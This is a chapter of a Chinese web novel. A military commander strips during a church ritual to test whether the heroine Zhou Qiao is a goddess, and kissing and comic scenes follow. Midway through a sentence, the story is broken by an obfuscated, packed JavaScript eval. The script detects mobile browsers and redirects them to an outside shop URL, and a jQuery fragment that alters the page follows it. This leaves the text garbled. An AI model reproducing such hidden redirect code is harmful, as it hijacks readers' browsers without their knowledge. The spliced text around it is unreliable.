13.第 13 章

作品:《他们非要献上忠诚

    周峤带着李K跟随陆以赞往前。


    巷子深而黑,今晚没有月亮,他们前进的唯一光源是陆以赞手里的手电光。


    穿过狭长的暗巷,终于抵达六号教堂前。


    教堂建得宏大,是整个小镇最伟岸的建筑,橡木大门由青铜浮雕包裹着,两侧石柱将近二十米高,各种建筑细节都彰显着当初的信徒对维赫拉的虔诚崇拜。


    只是教堂被荒废许久,不知名的绿藤爬满塔楼外围,窗棂和扶壁到处都是灰色的蜘蛛网。


    陆以赞先是上前敲了敲大门:“凯恩主教,您在里面吗?”


    没得到回应,陆以赞一脚踹开沉重的橡木大门,端高了手电筒在内院照了一圈,才转过身对周峤道:“进来吧,我们要去圣所那边,需要我扶你吗,峤?”


    周峤捏紧李K的手,摇摇头:“不用。”


    两人继续跟在陆以赞身后,顺着长廊走去,穿过耳堂、中殿,一路来到后堂的圣所。


    圣所是整个教堂最神圣的地方,殿堂面积呈半圆形,专门用于举行圣礼仪式。


    当年很多科学家、艺术家、歌手等等,都在这里和神进行了交流,在这里他们得到了神的指点,从而开拓了自己的事业。


    陆以赞以前也在这里进行过圣礼仪式。


    他是神甫们千挑万选出来的优质雄性,按照神的丈夫模板来培养的。


    他记得很清楚,那是十五年前,他进入了圣所,一件一件脱掉了衣服,然后站到唱诗台上念诵《克兰圣经》。


    他感觉到仿佛有一只无形的手在抚摸他,一股温暖的力量包裹住了他,似乎有一道强烈的目光在视奸他。


    陆以赞敢肯定,维赫拉已经接纳了他。


    因为那次过后,他的身体进化速度飞快,战斗力达到了惊人的提升,这也让他在字母圈的地位无可撼动,成为了当之无愧的A战士。


    后来的时间里,他始终以【神的丈夫】这一职位严格要求自己,他的身体是高度机密,任何人都不能看。


    他睡觉时,会在旁边多放一个枕头,那是预留给妻子的位置;


    吃饭时,也会在面前多放一副碗筷;


    他会写很多情书,每天睡前念给妻子听。


    他做好了一切完美丈夫该做的准备,就等着哪天维赫拉降临世间来享用他。


    他有时候怀疑,周峤是不是他召唤出来的。


    半年前的一个夜晚,他隐忍多年的卧底情绪终于爆发,崩溃了。于是他在房间里举行一个小小的圣礼仪式,试图召唤神,希望神能来给他指明方向。


    那一整晚,他没有感受到神的力量。


    但是在第二天,文森特审判长过来上报,说是抓到了一个社会败类,情绪值高得吓人,身体素质又很差。


    审判所拿不定主意要不要给周峤判死刑,所以过来询问他的意见。


    陆以赞当时看了眼监控里的周峤,那人实在是一言难尽......


    别说神性了,连人性都欠缺,浑身都是兽性,情绪太饱满了,像是刚走出原始森林的野人。


    他让文森特放走了周峤,静观其变。


    直到最近,卢卡斯传出了谣言后,他才再次注意起周峤。


    *


    “陆军长,我们这是要干什么?”周峤握紧李K的手,不安地问。


    陆以赞去拉开电闸,殿内转瞬亮堂起来,他显然对这里很熟悉,自顾自去打开最前方的立柜,从里面取出一本很厚的经书。


    周峤暗觑一眼,看到书的封面写着《克兰圣经》。


    陆以赞回到她面前,站得笔直,话语平静地直抒胸臆:“你作为主神谣言事件的主人公,对这事应该很了解吧。我现在需要你配合我,来验证一下你到底是不是真的维赫拉。”


    “怎么验证?”


    “等一下你就知道了。”


    周峤又问:“如果我不是会怎么样?你说过的,不会伤害我的。”


    陆以赞轻轻擦拭圣经的封面:“如果你是维赫拉,那我将是您最忠诚的信徒。如果你不是,那我将会在这里死去。总之,你放心,不管是那种情况,你都不会受到伤害。”


    周峤暗自松了一口气,劝道:“就算我不是维赫拉,你不用死吧,乐观点。”


    “没有主的引领,我活下去也没什么意义。”陆以赞冷声道。


    他将圣经放旁边的圆桌上,又放上一把枪,深吸一口气,眸光冷漠瞥过周峤身边的李K,道:“可以让你的傻子朋友先回避吗,我需要在这里脱衣服,一件也不剩。”


    “呃,那我也回避一下吧。”周峤牵着李K就要转身。


    陆以赞:“你得留下,峤,你才是这场仪式的主角。”


    周峤也想知道自己究竟是不是神,眼下最好的选择就是配合陆以赞揭开这个谜团。


    但让李K离开她的视线,她也不放心。


    周峤干脆带着李K来到角落的位置,让他面对着墙:“KK,你在这里面壁思过一下,不要转过来,好好在这里等着,知道了吗?”


    “嗯。”


    周峤以前经常这样子干,有时她在宿舍里换衣服,就直接让李K面对墙站着,李K一直都很听话。


    安抚好李K,周峤回到陆以赞面前:“军长,好了,我跟你保证,KK绝对不会转过来,他很乖的。”


    陆以赞还是不放心,找出手帕让周峤把李K的眼睛给蒙上。


    一切准备就绪,陆以赞让周峤坐到殿内前方的圣椅上,自己则是站在距离她一米远的位置。


    他从容地念诵起《克兰圣经》的内容,一边念诵,一边脱衣服,态度虔诚,举止优雅。


    “我将举心向上,全心归于主,这是我的身体,这是我的思想,这是我的忠诚,我将我的一切献给主......”


    他念诵的时候带着一种低吟的调子,周峤听得不是很懂他念诵的具体内容,注意力全放在他不断掉落的衣物上。


    衬衫、领结、手表、皮带、裤子、鞋子......


    周峤面红耳赤,觉得自己不该这么一直看下去了,左顾右盼,眼神乱瞟。


    陆以赞明明手捧着圣经,视线始终放在经书上,却还是能察觉到周峤注意力不集中了,他停下念诵的节奏,沉声提醒:“主,请您注视我,聚精会神注视我的一切,让您的力量进入我的身体里。”


    “哦。”


    周峤只好又把目光转移到他身上,一时之间口干舌燥,精悍的腰线、宽平的肩膀、垒块分明的腹肌,修长的双腿,甚至骨节分明的手指,性感得让人坐立难安。


    整整过了十分钟,陆以赞念完了祷词,墙壁上那座古老的座钟却没有发出任何响声。


    按照以前克兰教的祭神仪式,神如果感受到信徒的忠诚,就会发出响动。


    看来是失败了。


    陆以赞望向座钟,又望向他放在桌上的那把枪,今夜,他决定在这里死去。


    “你怎么了?”周峤问。


    陆以赞:“座钟没有响,神不存在。”


    看来,维赫拉确实抛弃了这个世界,抛弃了他,神不存在了,他的信仰彻底崩塌了。


    周峤也有点失落,难道她真的不是维赫拉吗,她就只是个普普通通的社会边角


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113353|195062||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    料?


    文森特的伤、李K比赛的胜局、艾青竹的电饭煲,该不会都是凑巧吧?


    两人相对无言,陆以赞赤身站在她座下前方,静静看了她许久。他似乎还在等待,等待渺茫的希望。


    终于,整整又过去了二十分钟,钟声响起了。


    低沉的声音回荡在整个教堂。


    陆以赞像是松了一口气,他放下圣经,跪下膝行来到周峤身边,将头抵在她的膝盖上,轻声道:“尊贵的妻子,感谢您的降临。”


    他握住周峤的手,一根手指一根手指亲吻:“峤,您是维赫拉,我是您的丈夫,请您深刻地记住这点。请您亲吻我,像对待丈夫那样亲吻我,抚摸我。”


    周峤垂下头,陆以赞立马接住她落下的吻。


    这次的亲吻比以往还要深入,还要激烈,啧啧水声格外清晰。亲了很久,陆以赞放开她的唇,又亲吻她的脖子,隔着衣服一路向下亲吻,吻在她的膝盖,朝着某个方向进发。


    他学了很多知识,当然知道丈夫的义务是什么。


    他是虔诚的信徒,也是性感的丈夫。介于这两种身份,他必须保持禁欲而又放荡,矜贵而又风流,紧绷而又松弛。


    这是个很难把握的尺度,但愿他能拿捏得好。


    周峤瞬间僵住,这也太快了吧。


    李K的声音打断了二人的炙热:“周峤,脚好酸。”


    “马上就好马上就好,你再等几分钟。”


    周峤匆忙推开陆以赞:“好了好了,点到为止。既然已经确定了我是神,那我们先离开这里,以后我有的是时间保佑你。”


    考虑到李K还在,陆以赞只好作罢。


    他总不能在一个傻子面前,和主进行神交吧,这不管是对他,还是对主来说,都是侮辱。


    陆以赞离开圣座,下了台阶,捡起衣服迅速穿上。


    他又从圣座后方的柜子里取出一个盒子,这才对周峤说:“主,我们走吧。”


    周峤跑下来去牵李K的手:“好了好了,累坏了吧,我们可以回去休息了。”


    陆以赞开车一路带两人回飞鸟小区,他亲自送周峤上楼,说他会尽快给周峤安排新的住所。


    艾青竹还没睡,先前周峤给她发了消息,说自己和李K要晚点回来,让她不用担心。


    看到陆以赞的出现,艾青竹吓了一跳。


    周峤对艾青竹使了个眼色,一本正经说:“青竹,这位是陆军长,是我的新信徒。”


    她又对陆以赞介绍:“这位是艾青竹,也是我的信徒。”


    艾青竹把周峤拉到一旁,在她耳边道:“玩这么大,不要命了?”


    她真的怀疑周峤是个传销头子。


    艾青竹是不打算加入周峤这个传销组织的,她真的做不到和周峤啃嘴巴,太恐怖了。


    而且她撒谎技术太差,根本不可能给周峤圆谎,为了不拖后腿,她抓起上铺的包,说道:“我先去上班了啊,你们好好聊。”


    艾青竹刚跑出去不到十秒钟,敲开门就响起,李K去打开门。


    文森特一只手插兜,一手拿着一个装满现金的信封走进来,语气诚挚:“妈妈,我来自动续费了。”


    一进门,看到陆以赞也在,二人视线强烈碰撞,四周透露着诡异的气息。


    “维赫拉大人......”


    文森特无助地开口,目光在周峤和陆以赞之间来回扫望,耳尖瞬间充血,该死!我刚才到底说了什么?


    “妈妈?”陆以赞眯起眼,露出危险的信号,“我是维赫拉的丈夫,文森特审判长,请问你应该怎么称呼我?”